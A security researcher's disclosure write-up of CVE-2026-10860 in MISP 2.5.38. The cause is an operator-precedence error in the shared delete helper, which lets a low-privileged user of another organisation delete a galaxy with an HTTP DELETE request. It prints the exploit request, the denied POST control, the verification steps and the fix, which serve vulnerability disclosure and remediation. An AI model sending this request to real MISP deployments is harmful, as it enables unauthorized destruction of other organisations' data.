TL;DR
I got CVE-2026-10860 in MISP.
The bug sat in the shared delete helper, but the runtime-confirmed impact I cared about was much narrower:
- low-privileged authenticated user
perm_galaxy_editor- target galaxy owned by another organisation
- real HTTP
DELETE
That was enough to delete another organisation’s galaxy through:
DELETE /galaxies/delete/{id}.jsonThe nice part was that the normal POST delete path was denied correctly.
The DELETE path was the one that slipped through.
The bug
The root cause was an operator precedence mistake in CRUDComponent::delete().
The vulnerable condition was:
if ($validationError === null && $this->Controller->request->is('post') || $this->Controller->request->is('delete')) {Because && binds tighter than ||, that condition is evaluated like this:
if (($validationError === null && is_post) || is_delete) {So once the request is a real HTTP DELETE, the destructive branch is entered even if the validation callback has already failed.
That is the whole bug.
And in the galaxy case, the failed validation was meaningful.
GalaxiesController::delete() passes a validation callback that ends up checking whether the caller is actually allowed to delete that galaxy. In the validated path, that callback correctly rejected users outside the creator organisation.
The helper just kept going anyway for DELETE.
Why I liked it
I like bugs like this because the negative control is built right into the exploit story.
The app already knew how to say no.
That mattered a lot here.
The exact same attacker, against the exact same galaxy, got denied on the POST path and succeeded on the DELETE path. That makes the bug very easy to defend:
- row-level auth logic existed
- validation callback ran
- denial result was real
- shared delete helper ignored it for one method
That is much cleaner than a vague “maybe auth is missing somewhere.”
The validated impact
I kept the write-up narrow on purpose.
The shared helper bug could matter in more than one place, but the low-privileged, security-relevant, runtime-confirmed impact I validated was:
unauthorized cross-organisation galaxy deletion
The attacker was:
- authenticated
- not a site admin
- in a different organisation
- allowed to work with galaxies in general
- not allowed to delete the victim galaxy
The target galaxy was visible from the listing, but it was not supposed to be modifiable by that user.
The request flow
The interesting part was how the same target behaved differently depending on the HTTP method.
Listing path
The attacker could see the target galaxy through the normal listing:
GET /galaxies/index.jsonAuthorization: <attacker-auth-key>Accept: application/jsonThat gave the attacker a valid target ID to work with.
Negative control: POST delete was denied
POST /galaxies/delete/1.jsonAuthorization: <attacker-auth-key>Accept: application/jsonContent-Type: application/jsonResponse:
{ "saved": false, "name": "Could not delete Galaxy", "message": "Could not delete Galaxy", "url": "/galaxies/delete/1", "errors": "Only the creator organisation can modify the galaxy"}That response is important because it proves the intended authorization rule was alive and working.
Exploit: HTTP DELETE bypassed the failed validation
DELETE /galaxies/delete/1.jsonAuthorization: <attacker-auth-key>Accept: application/jsonResponse:
{ "saved": true, "success": true, "name": "Galaxy deleted.", "message": "Galaxy deleted.", "url": "/galaxies/delete/1", "id": 1}That is the whole exploit in one request.
Post-condition proof
I also verified that this was not just a misleading success message.
Admin view after deletion:
GET /galaxies/view/1.jsonAuthorization: <site-admin-auth-key>Accept: application/jsonResponse:
404 Invalid GalaxyAnd the database check confirmed the row was gone:
select count(*) as galaxy_countfrom galaxieswhere id = 1;Result:
galaxy_count0So the bypass reached the real destructive sink.
Why the galaxy path was the right one to report
I checked other CRUDComponent::delete() call sites because I did not want to overclaim the bug.
There were other places where the same sink was reachable, but they did not all give the same reportable outcome.
The galaxy path was the one that cleanly crossed a real organisation boundary with a low-privileged user and a confirmed destructive result.
That was enough on its own.
Severity and CVE
The public CVE page lists:
- CVE:
CVE-2026-10860 - Severity:
High - CVSS v4:
7.9 - CWE:
CWE-863 Incorrect Authorization
The public description talks about the shared delete helper generically.
My write-up here keeps the boundary tighter than that and sticks to the runtime-confirmed galaxy deletion path in MISP 2.5.38.
Fix
The minimum safe fix is to make the validation result apply to both methods:
if ($validationError === null && ($this->Controller->request->is('post') || $this->Controller->request->is('delete'))) {But the more robust fix is the obvious one: once validation fails, the helper should stop immediately and never continue into any delete branch at all.
Reference